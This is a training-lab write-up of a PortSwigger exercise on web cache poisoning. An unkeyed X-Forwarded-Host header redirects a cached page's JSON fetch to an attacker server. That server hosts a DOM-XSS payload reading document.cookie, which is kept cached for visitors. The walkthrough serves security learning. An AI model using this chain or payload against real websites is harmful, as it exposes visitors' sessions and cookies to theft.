Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteria

3 min read Hard Portswigger
Web cache poisoning
Contents

On this page

The lab

here is how portswigger describes it

This lab contains a DOM-based vulnerability that can be exploited as part of a web cache poisoning attack. A user visits the home page roughly once a minute. Note that the cache used by this lab has stricter criteria for deciding which responses are cacheable, so you will need to study the cache behavior closely. To solve the lab, poison the cache with a response that executes alert(document.cookie) in the visitor's browser.

this one combines three ideas. an unkeyed X-Forwarded-Host controls a host value that the page feeds into client-side javascript, that javascript fetches a json file from that host and uses it in a dom-xss sink, and the cache is fussy about what it will store. so we poison the home page so it points its geolocation fetch at our exploit server, host a malicious json file there that carries an xss payload into the vulnerable sink, and work within the cache's stricter rules to get our poisoned response actually stored. the victim visits, their browser fetches our json, and the dom sink fires.

how the pieces chain#

the home page reflects X-Forwarded-Host into a data.host value that is handed to a client-side initGeoLocate() function. that function fetches a json file from data.host and handles the returned data unsafely, a dom-xss sink. neither half is enough alone, the header injection just changes where the script fetches from, and the dom bug only bites on attacker-controlled json. put together, we poison the cached home page so data.host is our exploit server, and we host json there whose value is an xss payload, so when the victim's browser runs the page it fetches our json and drives the payload into the sink. the strict cache means we have to watch closely which of our responses is deemed cacheable and only then does the chain reach real users.

Step 1 - Find the unkeyed header#

we open the home page, then in Proxy > HTTP history we find the GET request for it and send it to Repeater. we use Param Miner to guess headers and it reports that X-Forwarded-Host is supported.

b

Step 2 - Confirm it reaches the DOM#

we add a cache buster and the X-Forwarded-Host header with an arbitrary hostname like logicbreaker.sh. we see this header overwrites the data.host variable, which is passed into the initGeoLocate() function. so our header controls the host the client-side code will talk to.

bb

Step 3 - Study the DOM-XSS sink#

we read the initGeoLocate() function in /resources/js/geolocate.js and see it fetches json from data.host and handles the incoming json data in a way that is vulnerable to dom-xss, the value from the json ends up in a sink without being sanitised. so if we control that json we control the sink.

bbb

Step 4 - Host the malicious JSON#

we go to the exploit server and set the file path to match the one the vulnerable code fetches:

/resources/json/geolocate.json

in the head we add a CORS header so the cross-origin fetch is allowed:

http
Access-Control-Allow-Origin: *

in the body we put a json object matching the site's, but with the value swapped for an xss payload:

json
{
    "country": "<img src=1 onerror=alert(document.cookie) />"
}
bbbb

Step 5 - Poison the cache#

back in Repeater we point the host at our exploit server:

http
X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net

we send the request until the response reflects our exploit server url and shows X-Cache: hit. because the cache is strict about what it stores, we watch the behaviour closely and keep sending until the poisoned response is actually the cached one.

bbbbb

Step 6 - confirm and hold the poison#

we load the url in the browser, the page reads our data.host, fetches our malicious json from the exploit server, and the dom sink runs alert(document.cookie).

bbbbbb

we keep replaying the request to hold the cache poisoned until the victim, who visits about once a minute, loads the home page and runs the payload themselves.

bbbbbbb

with this, the lab is solved!